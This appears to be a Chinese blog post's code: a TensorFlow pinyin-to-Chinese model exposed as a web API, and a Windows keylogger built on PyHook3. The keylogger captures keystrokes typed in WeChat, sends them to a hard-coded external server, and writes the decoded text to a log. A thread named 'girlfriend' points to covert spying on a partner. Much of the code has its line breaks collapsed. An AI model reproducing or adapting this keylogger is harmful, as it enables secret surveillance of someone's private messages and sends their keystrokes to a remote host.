​

​

#For user input test
def main():  g = Graph(is_training=False)# Load vocabpnyn2idx, idx2pnyn, hanzi2idx, idx2hanzi = load_vocab()with g.graph.as_default():    sv = tf.train.Supervisor()with sv.managed_session(config=tf.ConfigProto(allow_soft_placement=True)) as sess:# Restore parameterssv.saver.restore(sess, tf.train.latest_checkpoint(hp.logdir)); print("Restored!")while True:line = input("请输入测试拼音：")if len(line) > hp.maxlen:print('最长拼音不能超过50')continuex = load_test_string(pnyn2idx, line)#print(x)preds = sess.run(g.preds, {g.x: x})#got = "".join(idx2hanzi[str(idx)] for idx in preds[0])[:np.count_nonzero(x[0])].replace("_", "")got = "".join(idx2hanzi[idx] for idx in preds[0])[:np.count_nonzero(x[0])].replace("_", "")print(got)

​

g = Graph(is_training=False)
# Load vocab
pnyn2idx, idx2pnyn, hanzi2idx, idx2hanzi = load_vocab()
with g.graph.as_default():    sv = tf.train.Supervisor()with sv.managed_session(config=tf.ConfigProto(allow_soft_placement=True)) as sess:# Restore parameterssv.saver.restore(sess, tf.train.latest_checkpoint(hp.logdir)); print("Restored!")
@app.get('/pinyin/{pinyin}')
def fcao_predict(pinyin: str = None):if len(pinyin) > hp.maxlen:return '最长拼音不能超过50'x = load_test_string(pnyn2idx, pinyin)preds = sess.run(g.preds, {g.x: x})got = "".join(idx2hanzi[idx] for idx in preds[0])[:np.count_nonzero(x[0])].replace("_", "")return {"code": 200, "msg": "success", "data": got}if __name__ == '__main__':# main(); print("Done")uvicorn.run(app,host="0.0.0.0",port=8000)

# 封装get请求给云服务器
def sendPinyin(str):res = requests.get(url="http://114.67.233.25:8000/pinyin/{}".format(str))return res.text# 生产者
def Producer(pinyin):q.put(pinyin)print("目前队列有：%s" % q.qsize())# 生产的越快，吃的越快time.sleep(0.1)# 消费者
def Consumer(name):while True:appendInfo(json.loads(sendPinyin(q.get()))['data'])# 监听到键盘事件调用
def onKeyboardEvent(event):global pinyin_strif active_window_process_name() == "WeChat.exe":str = event.Key.lower()if str.isalpha() and len(str) == 1:pinyin_str += strif str == "return" or (str.isdigit() and len(str) == 1):Producer(pinyin_str)pinyin_str = ''# appendInfo("\n")return True

​

# coding=utf-8
import PyHook3
import pythoncom
import win32gui, win32process, psutil
import requests
import queue
import threading
import time
import json
pinyin_str = ''
q = queue.Queue(maxsize=200)
# 获取当前打开的界面
def active_window_process_name():try:pid = win32process.GetWindowThreadProcessId(win32gui.GetForegroundWindow())return(psutil.Process(pid[-1]).name())except:pass# 监听到鼠标事件调用
def onMouseEvent(event):if (event.MessageName != "mouse move"):  # 因为鼠标一动就会有很多mouse move，所以把这个过滤下print(event.MessageName)# print(active_window_process_name())return True  # 为True才会正常调用，如果为False的话，此次事件被拦截# 监听到键盘事件调用
def onKeyboardEvent(event):global pinyin_strif active_window_process_name() == "WeChat.exe":str = event.Key.lower()if str.isalpha() and len(str) == 1:pinyin_str += strif str == "return" or (str.isdigit() and len(str) == 1):Producer(pinyin_str)pinyin_str = ''# appendInfo("\n")return True# 生产者
def Producer(pinyin):q.put(pinyin)# print("目前队列有：%s" % q.qsize())# 生产的越快，吃的越快time.sleep(0.1)# 消费者
def Consumer(name):while True:res = sendPinyin(q.get())if "data" in res:print(json.loads(res)['data'])appendInfo(json.loads(res)['data'])def sendPinyin(str):res = requests.get(url="http://114.67.233.25:8000/pinyin/{}".format(str))return res.text# 将监听内容写入日志
def appendInfo(text):with open('info.log', 'a', encoding='utf-8') as f:f.write(text + " ")def main():# 创建管理器hm = PyHook3.HookManager()# 监听键盘hm.KeyDown = onKeyboardEventhm.HookKeyboard()# 循环监听pythoncom.PumpMessages()if __name__ == "__main__":p = threading.Thread(target=main, args=())c = threading.Thread(target=Consumer, args=("女朋友",))p.start()c.start()